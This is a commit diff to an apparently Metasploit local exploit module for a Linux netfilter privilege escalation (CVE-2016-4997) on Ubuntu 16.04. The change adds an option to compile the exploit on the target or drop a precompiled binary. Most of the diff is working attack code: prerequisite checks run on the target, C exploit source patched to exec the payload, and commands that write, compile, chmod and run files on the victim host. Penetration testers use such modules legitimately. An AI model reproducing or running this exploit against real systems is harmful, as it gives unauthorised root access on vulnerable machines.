refactored for live compile or drop binary

bug/bundler_fix
h00die 2016-09-22 20:07:07 -04:00
parent edd1704080
commit 7646771dec
1 changed files with 80 additions and 42 deletions

View File

@ -16,9 +16,11 @@ class MetasploitModule < Msf::Exploit::Local
super(update_info(info,
'Name' => 'Linux Kernel 4.6.3 Netfilter Privilege Escalation',
'Description' => %q{
This module attempts to exploit a netfilter bug on Linux Kenrels befoe 4.6.3, and currently
This module attempts to exploit a netfilter bug on Linux Kernels befoe 4.6.3, and currently
only works against Ubuntu 16.04 (not 16.04.1) with kernel
4.4.0-21-generic. Several conditions have to be met for successful exploitation:
4.4.0-21-generic.
Several conditions have to be met for successful exploitation:
Ubuntu:
1. ip_tables.ko (ubuntu), iptable_raw (fedora) has to be loaded (root running iptables -L will do such)
2. libc6-dev-i386 (ubuntu), glibc-devel.i686 & libgcc.i686 (fedora) needs to be installed to compile
Kernel 4.4.0-31-generic and newer are not vulnerable.
@ -53,7 +55,8 @@ class MetasploitModule < Msf::Exploit::Local
[
OptString.new('WritableDir', [ true, 'A directory where we can write files (must not be mounted noexec)', '/tmp' ]),
OptInt.new('MAXWAIT', [ true, 'Max seconds to wait for decrementation in seconds', 180 ]),
OptBool.new('REEXPLOIT', [true, 'desc already ran, no need to re-run, skip to running pwn',false])
OptBool.new('REEXPLOIT', [ true, 'desc already ran, no need to re-run, skip to running pwn',false]),
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']])
], self.class)
end
@ -84,36 +87,6 @@ class MetasploitModule < Msf::Exploit::Local
end
end
def libs_installed?()
# user@ubuntu:~$ dpkg --get-selections | grep libc6-dev-i386
# libc6-dev-i386 install
vprint_status('Checking if 32bit C libraries are installed')
if target.name == "Ubuntu"
lib = cmd_exec('dpkg --get-selections | grep libc6-dev-i386')
if lib.include?('install')
vprint_good('libc6-dev-i386 is installed')
else
print_error('libc6-dev-i386 is not installed. Compiling will fail.')
end
return lib.include?('install')
elsif target.name == "Fedora"
lib = cmd_exec('dnf list installed | grep -E \'(glibc-devel.i686|libgcc.i686)\'')
if lib.include?('glibc')
vprint_good('glibc-devel.i686 is installed')
else
print_error('glibc-devel.i686 is not installed. Compiling will fail.')
end
if lib.include?('libgcc')
vprint_good('libgcc.i686 is installed')
else
print_error('libgcc.i686 is not installed. Compiling will fail.')
end
return (lib.include?('glibc') and lib.include?('libgcc'))
else
return false
end
end
def shemsham_installed?()
# we want this to be false.
vprint_status('Checking if shem or sham are installed')
@ -128,7 +101,7 @@ class MetasploitModule < Msf::Exploit::Local
return (shemsham.include?('shem') or shemsham.include?('sham'))
end
if libs_installed?() and iptables_loaded?() and not shemsham_installed?()
if iptables_loaded?() and not shemsham_installed?()
return CheckCode::Appears
else
return CheckCode::Safe
@ -136,6 +109,61 @@ class MetasploitModule < Msf::Exploit::Local
end
def exploit
# first thing we need to do is determine our method of exploitation: compiling realtime, or droping a pre-compiled version.
def has_prereqs?()
vprint_status('Checking if 32bit C libraries, gcc-multilib, and gcc are installed')
if target.name == "Ubuntu"
lib = cmd_exec('dpkg --get-selections | grep libc6-dev-i386')
if lib.include?('install')
vprint_good('libc6-dev-i386 is installed')
else
print_error('libc6-dev-i386 is not installed. Compiling will fail.')
end
multilib = cmd_exec('dpkg --get-selections | grep ^gcc-multilib')
if multilib.include?('install')
vprint_good('gcc-multilib is installed')
else
print_error('gcc-multilib is not installed. Compiling will fail.')
end
gcc = cmd_exec('which gcc')
if gcc.include?('gcc')
vprint_good('gcc is installed')
else
print_error('gcc is not installed. Compiling will fail.')
end
return gcc.include?('gcc') && lib.include?('install') && multilib.include?('install')
elsif target.name == "Fedora"
lib = cmd_exec('dnf list installed | grep -E \'(glibc-devel.i686|libgcc.i686)\'')
if lib.include?('glibc')
vprint_good('glibc-devel.i686 is installed')
else
print_error('glibc-devel.i686 is not installed. Compiling will fail.')
end
if lib.include?('libgcc')
vprint_good('libgcc.i686 is installed')
else
print_error('libgcc.i686 is not installed. Compiling will fail.')
end
multilib = false #not implemented
gcc = false #not implemented
return (lib.include?('glibc') && lib.include?('libgcc')) && gcc && multilib
else
return false
end
end
compile = false
if datastore['COMPILE'] == 'Auto' || datastore['COMPILE'] == 'True'
if has_prereqs?()
compile = true
vprint_status('Live compiling exploit on system')
else
vprint_status('Dropping pre-compiled exploit on system')
end
end
if check != CheckCode::Appears
fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!')
end
desc_file = datastore["WritableDir"] + "/" + rand_text_alphanumeric(8)
env_ready_file = datastore["WritableDir"] + "/" + rand_text_alphanumeric(8)
@ -144,6 +172,7 @@ class MetasploitModule < Msf::Exploit::Local
payload_path = "#{datastore["WritableDir"]}/#{payload_file}"
# direct copy of code from exploit-db, except removed the check for shem/sham and ip_tables.ko since we can do that in the check area here
# removed #include <netinet/in.h> per busterb comment in PR 7326
decr = %q{
#define _GNU_SOURCE
#include <stdio.h>
@ -151,12 +180,12 @@ class MetasploitModule < Msf::Exploit::Local
#include <string.h>
#include <unistd.h>
#include <sched.h>
#include <netinet/in.h>
#include <linux/sched.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ptrace.h>
#include <netinet/in.h>
#include <net/if.h>
#include <linux/netfilter_ipv4/ip_tables.h>
#include <linux/netlink.h>
@ -315,16 +344,12 @@ class MetasploitModule < Msf::Exploit::Local
pwn.gsub!(/execl\("\/bin\/bash", "-sh", NULL\);/,
"execl(\"#{payload_path}\", NULL);")
if check != CheckCode::Appears
fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!')
end
def pwn(payload_path, pwn_file, pwn)
# lets write our payload since everythings set for priv esc
vprint_status("Writing payload to #{payload_path}")
write_file(payload_path, generate_payload_exe)
cmd_exec("chmod 555 #{payload_path}")
#register_file_for_cleanup(payload_path)
register_file_for_cleanup(payload_path)
# now lets drop part 2, and finish up.
print_status "Writing pwn executable to #{pwn_file}.c"
@ -332,11 +357,24 @@ class MetasploitModule < Msf::Exploit::Local
rm_f "#{pwn_file}.c"
write_file("#{pwn_file}.c", pwn)
cmd_exec("gcc #{pwn_file}.c -O2 -o #{pwn_file}")
#register_file_for_cleanup("#{pwn_file}.c")
#register_file_for_cleanup(pwn_file)
register_file_for_cleanup("#{pwn_file}.c")
register_file_for_cleanup(pwn_file)
cmd_exec("chmod +x #{pwn_file}; #{pwn_file}")
end
if not compile # we need to override with our pre-created binary
# pwn file
path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2016-4997', '2016-4997-2')
fd = ::File.open( path, "rb")
pwn = fd.read(fd.stat.size)
fd.close
# desc file
path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2016-4997', '2016-4997-1')
fd = ::File.open( path, "rb")
decr = fd.read(fd.stat.size)
fd.close
end
# check for shortcut
if datastore['REEXPLOIT']
pwn(payload_path, pwn_file, pwn)